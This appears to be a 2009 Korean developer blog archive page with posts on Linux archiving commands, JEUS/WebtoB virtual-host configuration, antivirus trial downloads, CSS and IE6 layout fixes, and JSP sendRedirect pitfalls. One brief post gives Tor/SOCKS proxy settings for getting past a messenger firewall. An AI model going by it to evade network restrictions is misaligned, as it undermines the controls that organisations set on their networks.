'분류 전체보기'에 해당되는 글 2491건

  1. 2009.10.09 [Linux] 리눅스에서 압축 풀기/하기
  2. 2009.10.09 Jeus 컨테이너추가, 복사(접속포트), 가상호스트 설정
  3. 2009.10.09 가상 호스트와 JEUS 연동
  4. 2009.10.09 AVG Anti-Virus 무료버전
  5. 2009.10.09 windows 2003 백신 데모(체험판) v3net for windows server 7.0 평가판
  6. 2009.10.09 windows 2003 백신 데모(체험판) avast! 4 Server Edition Download
  7. 2009.10.08 네이트온 방확벽 풀기, vidalia-bundle-0.2.0.34-0.1.10.exe 1
  8. 2009.10.07 배경이미지 반복 안되게 style="background-repeat:no-repeat;
  9. 2009.10.07 div 가운데 정렬되는 문제
  10. 2009.10.07 ie6에서 프레임 사용시 가로스크롤이 생기는 문제
  11. 2009.10.05 response.sendRedirect()의 잘못된 사용방법과 올바른 사용방법
  12. 2009.10.05 XSS(Cross Site Scripting: 크로스 사이트 스크립팅) == CSS
  13. 2009.10.05 웹 보안취약점
  14. 2009.10.05 접근통제 취약점
  15. 2009.10.05 웹 해킹 원리와 방어 방법 1
  16. 2009.10.02 Adobe Flex 3 동영상 강의
  17. 2009.10.01 eclipse Galileo Flex Builder 적용
  18. 2009.09.29 age-bio.ru 1
  19. 2009.09.29 익스플로러 8 (ie8) mshtml.dll 오류 해결 방법
  20. 2009.09.28 gfeedfetcher.js
  21. 2009.09.27 http://dl.google.com/eclipse/plugin/3.5
  22. 2009.09.27 지난번에는 Maven 에서 GWT 프로젝트를 만들어 보았습니다.
  23. 2009.09.27 GWT-Ext 개발 기초 GWT-Ext - GWT-Ext Widget Library(http://gwt-ext.com)
  24. 2009.09.27 GWT-Ext (http://gwt-ext.com/) 1
  25. 2009.09.27 GWT Study Chapter 2 - Eclipse 설정
  26. 2009.09.27 Google Web Toolkit 1.7.0 released
  27. 2009.09.27 Eclipse 3.5 Galileo에 Google App Engine(GAE) 플러그인 설치
  28. 2009.09.27 [GWT 강좌] GWT로 개발하기-1 (환경구축편)
  29. 2009.09.27 Eclipse Google Plugin 설치하기
  30. 2009.09.27 Eclipse Google Plugin 설치하기
61.Linux2009. 10. 9. 20:53
반응형
 [압축하기]

# tar -cvf filename.tar /directory                          // 한개의 파일로 묶는다.

# gzip -f filename.tar                                           // 압축한다.

# split -b 600m filename.tar.gz filename.tar.gz_   // 분할한다.

 [압축풀기]

# cat filename.tar.gz_* > filename.tar.gz             // 합치기

# gunzip filename.tar.gz                                      // 압축풀기

# tar -xvf filename.tar                                         // 묶음풀기


Posted by 1010
98..Etc/70.JEUS2009. 10. 9. 18:24
반응형
 

[jeus@localhost config]$ cat ws_engine.m
*DOMAIN
jeuservice

*NODE
localhost   * 컨테이너 1
  WEBTOBDIR = "/usr/local/jeus5/webserver",
  SHMKEY    = 54000,
  DOCROOT   = "/home/free/webapps/WebContent",
  PORT      = "8080",
  LOGGING   = "log1",
  ERRORLOG  = "log2",
  JSVPORT   = 9900,
  IndexName = "index.do,index.html,index.jsp",
  HTH       = 1

*VHOST     * 컨테이너2 가상 호스트 추가
vhost1    
  DOCROOT   = "/home/free2/webapps/WebContent",  * 새로운 컨텍스트 경로
  PORT      = "8088",           * 사용할 포트 번호 지정(포트번호만 변경하여 다른 컨텍스트 사용)
  NODENAME  = "localhost",    * 상위에  정의한 NODE 명을 지정
  HOSTNAME  = "192.168.1.11",   * DNS 명(예: aaa.co.kr) 또는 localhost IP(IP로 외부 접속)
                                                * HOSTNAME에서 DNS 명을 설정시에 로컬의 hosts 파일에 dns 추가
  IndexName = "index.do,index.html,index.jsp",  * 컨테이너 기동시에 읽어들일 파일
  LOGGING   = "log3",    * 로그 정의
  ERRORLOG  = "log4"  


*SVRGROUP
htmlg       NODENAME = "localhost", SVRTYPE = HTML
cgig        NODENAME = "localhost", SVRTYPE = CGI
ssig        NODENAME = "localhost", SVRTYPE = SSI
jsvg        NODENAME = "localhost", SVRTYPE = JSV
jsvg1       NODENAME = "localhost", SVRTYPE = JSV, VHOSTNAME = vhost1  * 가상 호스트 추가

*SERVER
html        SVGNAME  = htmlg, MinProc = 1,  MaxProc = 2
cgi         SVGNAME  = cgig,  MinProc = 1,  MaxProc = 2
ssi         SVGNAME  = ssig,  MinProc = 1,  MaxProc = 2
MyGroup     SVGNAME  = jsvg,  MinProc = 5, MaxProc = 10
MyGroup2    SVGNAME  = jsvg1,  MinProc = 5, MaxProc = 10    * 추가된 컨테이너에서 사용하는 그룹

*URI
uri1        Uri      = "/cgi-bin/",  Svrtype = CGI
uri2        Uri      = "/free1/", Svrtype = JSV     * 컨테이너1 의 이름(JEUSMain.xml)
uri3        Uri      = "/free2/", Svrtype = JSV, VhostName=vhost1, SvrName = MyGroup2  * 컨테이너2의 이름(JEUSMain.xml)
uri4        Uri      = "/", Svrtype = JSV

*ALIAS
alias1      URI      = "/cgi-bin/", RealPath = "/usr/local/jeus5/webserver/cgi-bin/"

*LOGGING
log1        Format   = "DEFAULT",   FileName = "/home/free/webapps/logs/webserver/access.log", Option = "sync"
log2        Format   = "ERROR",     FileName = "/home/free/webapps/logs/webserver/error.log",  Option = "sync"
log3        Format   = "DEFAULT",   FileName = "/home/free2/webapps/logs/webserver/access.log", Option = "sync" * 로그파일 저장 경로
log4        Format   = "ERROR",     FileName = "/home/free2/webapps/logs/webserver/error.log",  Option = "sync"

*EXT
htm         MimeType = "text/html",  SvrType = HTML
do              Mimetype ="application/jsp",  Svrtype=JSV,  SvrName=MyGroup  * 사용 확장자 정의
jsf             Mimetype ="application/jsp",  Svrtype=JSV,  SvrName=MyGroup
jsp             Mimetype ="application/jsp",  Svrtype=JSV,  SvrName=MyGroup
html            MimeType = "text/html", SvrType = HTML
hwp             MimeType = "application/x-hwp", SvrType = HTML
pdf             MimeType = "application/x-pdf", SVRTYPE = HTML
css             MimeType = "text/css", SvrType = HTML
js              MimeType = "application/x-javascript", SvrType = HTML
gul             MimeType = "application/gul", SvrType = HTML
gif             MimeType = "image/gif", SvrType=HTML
jpeg            MimeType = "image/gif", SvrType=HTML
jpg             MimeType = "image/gif", SvrType=HTML
zip             MimeType = "application/zip", SvrType=HTML
jar             MimeType = "application/x-java-archive", SvrType=HTML
exe             MimeType = "application/octet-stream", SvrType=HTML
wml             MimeType = "application/vnd.wap.wml", SvrType=HTML
wmls            MimeType = "application/vnd.wap.wmlscript", SvrType=HTML
wmlc            MimeType = "application/vnd.wap.wmlc", SvrType=HTML
wmlsc           MimeType = "application/vnd.wap.wmlscript", SvrType=HTML
wbmp            MimeType = "application/vnd.wap.wbmp", SvrType=HTML
swf             MimeType = "application/x-shockwave-flash", SvrType=HTML
csv             MimeType = "application/octet-stream", SvrType=HTML
xml             MimeType = "text/html", SvrType = HTML
asd             MimeType = "application/astound",SvrType=HTML
asn             MimeType = "application/astound",SvrType=HTML
doc             MimeType = "application/msword",SvrType=HTML
wiz             MimeType = "application/msword",SvrType=HTML
rtf             MimeType = "application/msword",SvrType=HTML
xls             MimeType = "application/vnd.ms-excel",SvrType=HTML
xlw             MimeType = "application/vnd.ms-excel",SvrType=HTML
xla             MimeType = "application/vnd.ms-excel",SvrType=HTML
xlc             MimeType = "application/vnd.ms-excel",SvrType=HTML
xlm             MimeType = "application/vnd.ms-excel",SvrType=HTML
xlt             MimeType = "application/vnd.ms-excel",SvrType=HTML
ppt             MimeType = "application/vnd.ms-powerpoint",SvrType=HTML
pps             MimeType = "application/vnd.ms-powerpoint",SvrType=HTML
pot             MimeType = "application/vnd.ms-powerpoint",SvrType=HTML
m13             MimeType = "application/x-msmediaview",SvrType=HTML
m14             MimeType = "application/x-msmediaview",SvrType=HTML
wmf             MimeType = "application/x-msmetafile",SvrType=HTML
midi            MimeType = "audio/midi",SvrType=HTML
mid             MimeType = "audio/midi",SvrType=HTML
aif             MimeType = "audio/x-aiff",SvrType=HTML
aiff            MimeType = "audio/x-aiff",SvrType=HTML
aifc            MimeType = "audio/x-aiff",SvrType=HTML
wav             MimeType = "audio/x-wav",SvrType=HTML
cab             MimeType = "x-application/octet-stream", SvrType = HTML
fla             MimeType = "application/x-fla", SvrType=HTML

ws_engine.m 파일은 설정후 컴파일 과정을 함
[jeus@localhost localhost]$
wscfl -i ws_engine.m

##############################################################################

content=Vim/7.2 name=Generator>[jeus@localhost localhost]$ cat JEUSMain.xml
<?xml version="1.0" ENCODING="utf-8"?>
<jeus-system xmlns="http://www.tmaxsoft.com/xml/ns/jeus">
    <node>
                <name>localhost</name>
        <engine-container>
<!-- 컨테이너 1 -->
            <name>container1</name>
            <command-option>-Xms256m -Xmx512m</command-option>
            <engine-command>
                <type>ws</type>
                <name>engine1</name>
            </engine-command>
            <engine-command>
                <type>servlet</type>
                <name>engine1</name>
            </engine-command>
            <sequential-start>true</sequential-start>
        </engine-container>
<!-- 컨테이너 2 -->
                <engine-container>
            <name>container2</name>
            <command-option>-Xms256m -Xmx512m</command-option>
            <engine-command>
                <type>servlet</type>
                <name>engine2</name>
            </engine-command>
            <sequential-start>true</sequential-start>
        </engine-container>

        <class-ftp>true</class-ftp>
        <sequential-start>true</sequential-start>
        <enable-webadmin>true</enable-webadmin>
    </node>
    <application>
        <!-- 노드 localhost 에서 사용할 컨테이너 이름(ws_engine.m)-->
        <name>free1</name> 
        <path>/home/free/webapps/WebContent</path>
        <deployment-type>COMPONENT</deployment-type>
        <deployment-target>
            <target>
                <engine-container-name>localhost_container1</engine-container-name>
                <web-context-group>
                    <name>MyGroup</name>
                </web-context-group>
            </target>
        </deployment-target>
        <web-component/>
    </application>
    <application>
        <!-- 가상호스트 vhost1 에서 사용할 컨테이너 이름(ws_engine.m)-->
        <name>free2</name>
        <path>/home/free2/webapps/WebContent</path> <!-- 추가할 컨텍스트 경로 -->
        <deployment-type>COMPONENT</deployment-type>
        <deployment-target>
            <target>
                <engine-container-name>localhost_container2</engine-container-name>
                <web-context-group>
                    <name>MyGroup2</name>
                </web-context-group>
            </target>
        </deployment-target>
        <web-component/>
    </application>
</jeus-system>


##############################################################################

content=Vim/7.2 name=Generator>기본으로 제우스에서 하나의 webtob 와 하나의 호스트명_ws_engine1 를 사용.
컨테이너 1 다음으로 추가되는 컨테이너는,
컨테이너 1에 설정된 호스트명_ws_engine1/WSMain.xml 에 설정부분을 추가하여 사용.

[jeus@localhost localhost_ws_engine1]$ cat WSMain.xml
<?xml version="1.0" ENCODING="UTF-8"?>
<ws-engine xmlns="http://www.tmaxsoft.com/xml/ns/jeus">
    <domain>
        <name>jeuservice</name>
<!-- 컨테이너 1에서 사용. -->
        <node>
            <name>localhost</name> 
            <webtob-dir>/usr/local/jeus5/webserver</webtob-dir>
            <shmkey>54000</shmkey>
            <docroot>/home/free/webapps/WebContent</docroot>
            <jsv-port>9900</jsv-port>
            <hth>1</hth>
            <port>8080</port>
            <logging>log1</logging>
            <error-log>log2</error-log>
        </node>

<!-- 추가된 컨테이너 설정은 아래 해당하는 엘리먼트 추가  -->
        <svrgroup>
            <name>htmlg</name>
            <svr-type>HTML</svr-type>
            <node-name>localhost</node-name>
        </svrgroup>
        <svrgroup>
            <name>cgig</name>
            <svr-type>CGI</svr-type>
            <node-name>localhost</node-name>
        </svrgroup>
        <svrgroup>
            <name>ssig</name>
            <svr-type>SSI</svr-type>
            <node-name>localhost</node-name>
        </svrgroup>
        <svrgroup>
            <name>jsvg</name>
            <svr-type>JSV</svr-type>
            <node-name>localhost</node-name>
        </svrgroup>
        <svrgroup>
            <name>jsvg2</name>
            <svr-type>JSV</svr-type>
            <node-name>localhost</node-name>
        </svrgroup>
        <server>
            <name>html</name>
            <svg-name>htmlg</svg-name>
            <min-proc>1</min-proc>
            <max-proc>2</max-proc> 
            <asq-count>1</asq-count>
        </server>
        <server>
            <name>cgi</name>
            <svg-name>cgig</svg-name>
            <min-proc>1</min-proc>
            <max-proc>2</max-proc>
        </server>
        <server>
            <name>ssi</name>
            <svg-name>ssig</svg-name>
            <min-proc>1</min-proc>
            <max-proc>2</max-proc>
        </server>
        <server>
            <name>MyGroup</name>
            <svg-name>jsvg</svg-name>
            <min-proc>5</min-proc>
            <max-proc>10</max-proc>
        </server>
        <server> <!-- 컨테이너 그룹 추가 (ws_engine.m)-->
            <name>MyGroup2</name>
            <svg-name>jsvg1</svg-name>
            <min-proc>5</min-proc>
            <max-proc>10</max-proc>
        </server>
        <uri>
            <name>uri1</name>
            <uri-def>/cgi-bin/</uri-def>
            <svr-type>CGI</svr-type>
        </uri>
        <uri>
            <name>uri2</name>
            <uri-def>/webapps</uri-def>
            <svr-type>JSV</svr-type>
        </uri>
        <uri>
            <name>uri3</name>
            <uri-def>/free2</uri-def>
            <svr-type>JSV</svr-type>
        </uri>
        <uri>
            <name>uri4</name>
            <uri-def>/</uri-def>
            <svr-type>JSV</svr-type>
        </uri>
        <logging>
            <name>log1</name>
            <format>DEFAULT</format>
            <file-name>/home/free/webapps/logs/webserver/access.log</file-name>
            <option>sync</option>
        </logging>
        <logging>
            <name>log2</name>
            <format>ERROR</format>
            <file-name>/home/free/webapps/logs/webserver/error.log</file-name>
            <option>sync</option>
        </logging>
        <logging>
            <name>log3</name>
            <format>DEFAULT</format> <!-- 추가할 컨텍스트의 로그 파일 저장 경로 (ws_engine.m) -->
            <file-name>/home/free2/webapps/logs/webserver/access.log</file-name>
            <option>sync</option>
        </logging>
        <logging>
            <name>log4</name>
            <format>ERROR</format>
            <file-name>/home/free2/webapps/logs/webserver/error.log</file-name>
            <option>sync</option>
        </logging>
        <ext>
            <name>htm</name>
            <mimetype>text/html</mimetype>
            <svr-type>HTML</svr-type>
        </ext>
        <ext>
            <name>jsp</name>
            <mimetype>application/jsp</mimetype>
            <svr-type>JSV</svr-type>
            <svr-name>MyGroup</svr-name>
        </ext>
    </domain>
</ws-engine>


##############################################################################

content=Vim/7.2 name=Generator>
컨테이너 1에서 사용하는
호스트명_servlet_engine1

[jeus@localhost localhost_servlet_engine1]$ cat WEBMain.xml
<?xml version="1.0" ENCODING="UTF-8"?>
<web-container xmlns="http://www.tmaxsoft.com/xml/ns/jeus">
    <context-group>
        <group-name>MyGroup</group-name>
        <webserver-connection>
            <webtob-listener>
                <listener-id>webtob1</listener-id>
                <port>9900</port>
                <output-buffer-size>8192</output-buffer-size>
                <thread-pool>
                    <min>5</min>
                    <max>10</max>
                    <step>1</step>
                    <max-idle-time>30000</max-idle-time>
         
      </thread-pool>
                <webtob-address>127.0.0.1</webtob-address>
                <registration-id>MyGroup</registration-id>
            </webtob-listener>
        </webserver-connection>
        <print-error-to-browser>true</print-error-to-browser>
        <ENCODING>
            <request-ENCODING>
                <default>MS949</default>
                <forced>MS949</forced>
            </request-ENCODING>
            <response-ENCODING>
                <default>MS949</default>
                <forced>MS949</forced>
            </response-ENCODING>
            <postdata-ENCODING>
                <default>MS949</default>
                <forced>MS949</forced>
            </postdata-ENCODING>
        </ENCODING>
        <jsp-engine>
            <jsp-work-dir>/home/free/webapps/jspwork</jsp-work-dir>
        </jsp-engine>
        <logging>
            <access-log>
                <handler>
                    <file-handler>
                        <name>handler1</name>
                        <valid-day>1</valid-day>
                    </file-handler>
                </handler>
            </access-log>
        </logging>
    </context-group>
    <session-cluster>
        <session-routing>false</session-routing>
    </session-cluster>
</web-container>


##############################################################################

content=Vim/7.2 name=Generator>컨테이너 2에서 사용하는 호스트명_servlet_engine2
필요한 설정부분은 그룹명과 jsp 컴파일된 클래스가 저장될 경로 변경

[jeus@localhost localhost_servlet_engine2]$ cat WEBMain.xml
<?xml version="1.0" ENCODING="UTF-8"?>
<web-container xmlns=http://www.tmaxsoft.com/xml/ns/jeus>
    <context-group>
        <group-name>MyGroup2</group-name>
        <webserver-connection>
            <webtob-listener>
                <listener-id>webtob1</listener-id>
                <port>9900</port> <!-- 하나의 webtob 를 공유하기때문에 통신 포트 동일-->
                <output-buffer-size>8192</output-buffer-size>
                <thread-pool>
                    <min>5</min>
                    <max>10</max>
                    <step>1</step>
                    <max-idle-time>30000</max-idle-time>
                </thread-pool>
                <registration-id>MyGroup2</registration-id>
                <webtob-home>/usr/local/jeus5/webserver</webtob-home>
            </webtob-listener>
        </webserver-connection>
        <print-error-to-browser>true</print-error-to-browser>
        <ENCODING>
            <request-ENCODING>
                <default>MS949</default>
                <forced>MS949</forced>
            </request-ENCODING>
            <response-ENCODING>
                <default>MS949</default>
                <forced>MS949</forced>
            </response-ENCODING>
            <postdata-ENCODING>
                <default>MS949</default>
                <forced>MS949</forced>
            </postdata-ENCODING>
        </ENCODING>
        <jsp-engine>
            <jsp-work-dir>/home/free2/webapps/jspwork</jsp-work-dir>
        </jsp-engine>
        <logging>
            <access-log>
                <handler>
                    <file-handler>
                        <name>handler1</name>
                        <valid-day>1</valid-day>
                    </file-handler>
                </handler>
            </access-log>
        </logging>
    </context-group>
    <session-cluster>
        <session-routing>false</session-routing>
    </session-cluster>
</web-container>


출처 : http://javaiyagi.tistory.com/187


 
 
 
Posted by 1010
98..Etc/70.JEUS2009. 10. 9. 18:19
반응형

실습 5 : 가상 호스트와 JEUS 연동

WebtoB 환경 설정

*NODE
challenge22 WEBTOBDIR="C:/TmaxSoft/WebtoB4.1",
.................
  JSVPORT = 9900


*SVRGROUP
..........
v_jsvg  NODENAME = "challenge22", SVRTYPE = JSV, VHOSTNAME="vhost1"


*SERVER
..............
vjMyGroup SVGNAME = v_jsvg, MinProc = 10, MaxProc = 20


*VHOST
vhost1    HOSTNAME = "test.tmax.co.kr",
              DOCROOT = "C:/TmaxSoft/webhome",

  PORT = "80",
  NODENAME = "challenge22",
  IndexName = "welcome.html"


DNS 등록

윈도우 가상

c:\Windows\system32\drivers\etc\hosts

 127.0.0.1       localhost
 127.0.0.1       test.tmax.co.kr

실제 서버

dns에 등록



제우스 환경 설정

환경설정 파일 위치 : C:\TmaxSoft\JEUS5.0\config\노드명\노드명_servlet_engine1\WEBMain.xml


    <webtob-listener>
                <listener-id>webtob2</listener-id>  <-제우스가 인식하는 리스너 아이디
                <port>9900</port>                          <-다른 시스템에 제우스와 WebtoB가 있을 경우 연동하기 위한 포트
                <output-buffer-size>8192</output-buffer-size
                <thread-pool>                                <-WebtoB 프로세스 정보,, WebtoB 설정보다 작거나 같게 설정
                   <min>10</min>
                   <max>20</max>
                   <step>1</step>
                   <max-idle-time>30000</max-idle-time>
                </thread-pool>
                <webtob-address>localhost</webtob-address>
                <registration-id>jv_jMyGroup</registration-id>            <-WebtoB에서 설정한 서버 지정
   </webtob-listener>


페이지 히스토리
출처 : http://zzru.springnote.com/pages/1458126




---------------------------------


WebtoB+Jeus 가상호스트설정

www.bbb.co.kr 와 www.bbb.co.kr/aaa 는 도메인 주소와 포트번호가
동일하므로 VHOST를 이용한 구분은 불가능합니다.
URI 설정을 이용하여 Context Path "/" 와 "/aaa" 를 구분하여
처리하면 됩니다.

설정 예는 다음과 같습니다.

===========================================================
상략

*NODE
nodename    WEBTOBDIR = "/home/jeus42/webserver",
           SHMKEY    = 54000,
           DOCROOT   = "/home/Jeus42/webserver/docs",
           PORT      = "8080",
           JSVPORT   = 9900,
           HTH       = 1

*SVRGROUP
htmlg       NODENAME = "nodename", SvrType = HTML
jsvg        NODENAME = "nodename", SVRTYPE = JSV

*SERVER
html        SVGNAME  = htmlg, MinProc = 1,  MaxProc = 2
MyGroup     SVGNAME  = jsvg,  MinProc = 25, MaxProc = 30
HpGroup     SVGNAME  = jsvg,  MinProc = 25, MaxProc = 30

*URI
uri1        Uri      = "/aaa/", Svrtype = JSV, SvrName = "MyGroup"
uri2        Uri      = "/", Svrtype = JSV, SvrName = "HpGroup"

하략
=====================================================================

그리고 A장비_servlet_engine1 의 WEBMain.xml(jeus4.x)
설정중 webtob-listener 설정을 하나 더 추가하여 B장비 웹투비의
MyGroup과 연결해야 합니다. webtob-listener는 반복구조를 가집니다.
즉, 하나의 엔진이 여러 웹투비와의 연결을 제공합니다. 
Posted by 1010
반응형
 

AVG Anti-Virus 무료버전
바이러스, 스파이웨어 및 web-borne 위협으로부터의 기본적인 보호

  • 안티바이러스 및 안티스파이웨어 부문 수상
  • 안전한 실시간 웹서핑 및 검색
  • Download.com에서 가장 많이 다운받은 소프트웨어
  • 쉬운 다운로드, 설치 및 사용
  • 복잡하지 않은 효율적인 보호체계
  • 윈도우 7, 윈도우 비스타, 및 윈도우 XP에 호환

AVG Anti-Virus 무료버전은 가정용 PC 1대에만 해당되며 상업용으로 사용하실 수 없습니다.


다운로드 : http://www.avgkorea.com/product-avg-anti-virus-free.html

Posted by 1010
반응형
다운로드 주소 : http://kr.ahnlab.com/info/download/evaluate_v3net7.jsp
30일만 사용가능하네요..

 
파일 크기: 59,032KB 사용 기간: 설치 후 30일
제공일:2008년 6월 24일 사용환경(권장):Windows Server 2000 이상
 
Ahnlab Download 평가판 다운로드
평가판 안내제품 안내사용환경
Posted by 1010
반응형

avast! 4 Server Edition Download

Download the avast! Server Edition here, including all the plug-ins.

If you don't have a valid license file, the program will work as a 60-day trial.

Download server location avast! 4 Server Edition
  avast! 4 Server Edition, length 51.58 MB


다운로드 주소 : http://www.avast.com/eng/download-server-edition.html


Posted by 1010
반응형


프록시 서버 사용
socks 버전 5
localhost : 9050
p2p : 1080
Posted by 1010
반응형
style="background-repeat:no-repeat;

-------------

  이번 강좌에서는 컬러와 관련된 스타일 시트에 대해서 알아보도록 하겠습니다. 컬러와 관련된 스타일 시트 속성으로는  color , background-color , background-image , background-repeat , background-attachment , background-position , background 등이 있습니다. 모두 다  색상, 배경색과 배경이미지에 대한 것들인데요....그렇게 어려운 것은 없을 테니 설명 잘 들으시기 바라겠습니다. ^^
 
 ☞ color , background-color
  말 그대로 색상과 배경색을 지정해주는 속성입니다. 사용방법은 아래와 같습니다.
 

 body { color:red; background-color:#FFFFF; }

 더 이상 설명이 필요 없겠죠? ^^ 아...그리고 색상을 지정해줄 때  위에 예제에서와 같이 두 가지 방법이 있는데요..첫째는 영문색상명(red , blud , yellow , black ...등등)을 적어주는 것이고 두 번째는 RGB색상코드를 적어주는 방법입니다. RGB색상코드에 대해서 알고싶으신 분은 ☞여기를 클릭해보시면 알 수 있습니다.   간단한 예제 하나 보고 넘어가도록 하죠 ^^

 <style type="text/css">
 <!--
  body { color : darkblue ; background-color : #CC99FF ; font-weight:bold; }
  -->
 </style>
 <body>
  <p>내가 당신을 얼마만큼 사랑하는지 당신은 알지 못합니다.
이른 아침, 감은 눈을 억지스레 떠야하는 피곤한 마음 속에도
나른함 속에 파묻힌 체 허덕이는 오후의 앳된 심정속에도
당신의 그 사랑스러운 모습은 담겨 있습니다.  </p>
 </body>

 ☞ background-image , background-repeat  background-image 속성은 말 안 해도 알고 계시겠죠? ^^ 그쵸. 배경이미지를 지정해주는 속성이죠. background-repeat 속성은, 일반적으로 우리가 HTML를 사용해서 배경이미지를 넣으면 웹페이지의 화면보다 배경이미지가 작은 경우 배경이미지가 화면에 좌우로 반복이 되어서 채워지게 됩니다. 이걸 전문용어로 패턴이라고 하는데요..이러한 패턴을 조절해주는 속성입니다. 조절하기에 따라 한 방향으로만 패턴 되도록 하게 할 수 도 있으며 아예 패턴없이 표현할 수도 있습니다.
 background-image 속성의 사용방법은 다음과 같습니다.

b { background-image: url(http://tagmania.net/img/filter1.gif) ;}

 background-repeat 속성은 네가지의 값을 정해줄 수 있는데요.....다음과 같습니다.

 no-repeat : 배경이미지가 반복이 안되게 합니다.  repeat : 모든 방향으로 반복되게 합니다.
 repeat-x : x방향(가로)으로만 반복되게 합니다.  repeat-y : y방향(세로)으로만 반복되게 합니다.

 즉 , background-repeat : repeat-x ☜이런 식으로 값을 넣어줄 수 있습니다.
  지면 관계상 예제는 다음페이지에서 보도록 하겠습니다. 넘어 가죠? ^^


출처 : http://tagmania.net/html/css5_1_n.php

Posted by 1010
반응형
Posted by 1010
반응형
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=euc-kr">
<title>테스트</title>
<meta http-equiv="imagetoolbar" content="no">
</head>
<frameset rows="*">
<frame name="index" src="/test/test.html" title="테스트">
</frameset>
<noframes>
<body oncontextmenu=return false ondragstart=return false onselectstart=return false></body>
</noframes>
</html>

IE6에서 위의 소스는 가로스크롤이 생겨버린다. 하지만 아래와 같이 하면 스크롤이 없어져 버린다.
차이점은 바로 scrolling="yes" 이것만 넣어주면 가로스크롤이 없어진다.
인터넷에서 찾아보면 다른방법도 몇가지 나오지만 아래방법이 가장 손쉽게 해결되는 솔루션임.
하지만 또 언제 무슨문제가 생길지는 모른다는거.. ^^

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=euc-kr">
<title>테스트</title>
<meta http-equiv="imagetoolbar" content="no">
</head>
<frameset rows="*">
<frame name="index" src="/test/test.html" title="테스트" scrolling="yes">
</frameset>
<noframes>
<body oncontextmenu=return false ondragstart=return false onselectstart=return false></body>


출처 : http://haroc.haroc.net/tc/311


--------------------------------------------

div 가운데 정렬

{margin:0 auto;}를 사용해서 센터정렬시켰는데요


ie6에서는 세로 스크롤이 생기면


세로스크롤만큼의 가로스크롤이 생겨버리는데


가로스크롤이 나오지 않게 하려면 어떻게 해야할까요?




소스입니다...

----- 프레임셋 -----


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>title</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<frameset rows="0,*" border="0" framespacing="0">
  <frame name="topFrame" noresize scrolling="no" marginwidth="0" marginheight="0" frameborder="0">
  <frame name="mainFrame" src="main.php" scrolling="auto" marginwidth="0" marginheight="0" frameborder="0">
</frameset>
</html>


-----  main.php  -----


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>title</title>

<style>

#dvWrap { margin:0 auto; width:920px;}

</style>
</head>

<body>
<div id="dvWrap">

세로스크롤이 생기면 가로스크롤이 생겨요

</div>

</body>

</html>


#dvWrap { position:absolute; left:50%; margin-left:-460px;}
margin:0 auto 대신 이렇게 써주니까 가로스크롤이 안생기네요..


세로 스크롤바가 생기면서 스크롤바의 크기만큼 영역을 차지해서 본문이 넘친다고 생각해서 가로스크롤바가 생겨나는 것 같습니다. overflow-x: hidden; 으로 하시거나 본문의 사이즈를 조금 더 늘려보세요.


overflow-x:hidden을 해보았지만 적용이 되지 않네요 IE버그라고 하는데 해결방법이 없는건지









<body style="text-align:center;">
<div sytle="width:200px;height:200px;border:1px solid red;">
</body>

와 같이 div를 center로 위치 시키면 span같은
text-level box는 가운데로 오는데, div 가운데로 오지 않는군요.

일반적으로 FF 에서는 어떤 방법으로 div를 centering을 하는지 알고 싶습니다.

물론 table속에 div를 넣는 방법은 말고 말입니다.

고견을 들려 주세요...


가운데 정렬은

코드:
body { text-align:center;}

// 먼저 전체 바디에 가운데 정렬을 줍니다.

전체 레이아웃을 시작하는 div가

코드:
<div id="wrap">

이라면

코드:
#wrap {margin:0 auto; text-align:left;}

// 텍스트는 좌측 정렬로 주고요. margin:0 auto; 이것이 가운데 정렬을 하란 말이 되겠습니다.

margin:top right bottom left; // 이런건 아시죠?
margin: 5px 5px 5px 5px; // 1번
margin:5px; // 2번
1번 = 2번
margin:5px 0 5px 0; // 3번 : 0일땐 단위를 쓰지 않고, 그 이상일 때는 단위를 씁니다.
margin:5px 0; // 4번
3번=4번

이런 식이니
margin:0 auto; 는 margin : 0 auto 0 auto; 와 같은 뜻이 되겠습니당.^^


Posted by 1010
90.개발관련문서2009. 10. 5. 22:27
반응형
response.sendRedirect()의 잘못된 사용방법과 올바른 사용방법

JSP 페이지에서 특정한 작업을 수행한 후 지정한 페이지로 이동하고 싶은 경우가 있을 것이다. 예를 들어, 게시판에 글을 저장한 후에 목록 페이지로 이동하는 경우가 이에 해당한다. 이렇게 특정 처리 후, 또는 특정 조건일 때에 지정한 페이지로 이동하고 싶은 경우 많이 사용되는 것이 response.sendRedirect() 메소드이다. (물론, 서블릿 프로그래밍에서도 같은 이유로 사용된다.)

    <%
        if ( authManager.loginCheck(request) ) {
            response.sendRedirect("/loginForm.jsp");
        }
    %>

로그인을 하지 않은 경우 JSP 페이지에서는 위 코드와 비슷한 방법으로 response.sendRedirect() 메소드를 사용해서 로그인 페이지로 이동할 것이다.

하지만, response.sendDirect() 메소드를 잘못 사용하는 경우를 종종 발견하곤 한다. 예를 들어, 다음의 코드를 살펴보자.

    <%@ page contentType = "text/html; charset=euc-kr" %>
    <%
        String code = request.getParameter("code");
        if (code == null) {
            response.sendRedirect("/");
        }
    %>
    <html>
    <head><title>코드 출력</title></head>
    <body>
    입력한 코드: <%= code.toUpperCase() %>
    </body>
    </html>

위 JSP 코드는 요청 파라미터 "code"가 존재하지 않으면 "/" 페이지로 이동하고, 그렇지 않을 경우 code를 대문자로 변경해서 보여주는 아주 간단한 로직을 수행하고 있다. 하지만, 위 JSP 페이지를 웹 브라우저에서 실행할 때 code 파라미터 값을 입력하지 않으면 "/" 페이지로 리다이렉트 하는 게 아니라 다음 그림처럼 예외가 발생하게 된다.


에러가 발생하는 이유는 sendRedirect() 메소드가 호출된다 하더라도 계속해서 JSP 코드는 실행된다는 것을 망각했기 때문이다. 다시 한번 위의 코드를 보자.


respons.sendRedirect() 메소드가 호출되면 그 위에 있는 나머지 코드는 실행되지 않을 것이라고 착각을 하지만, 실제로는 나머지 코드도 다 실행된다. (자바 프로그램의 관점에서 봤을 때, sendRedirect() 메소드는 작업을 수행한 후 리턴을 하게 되며 나머지 코드를 실행하는 것은 지극히 당연한 일이다.)

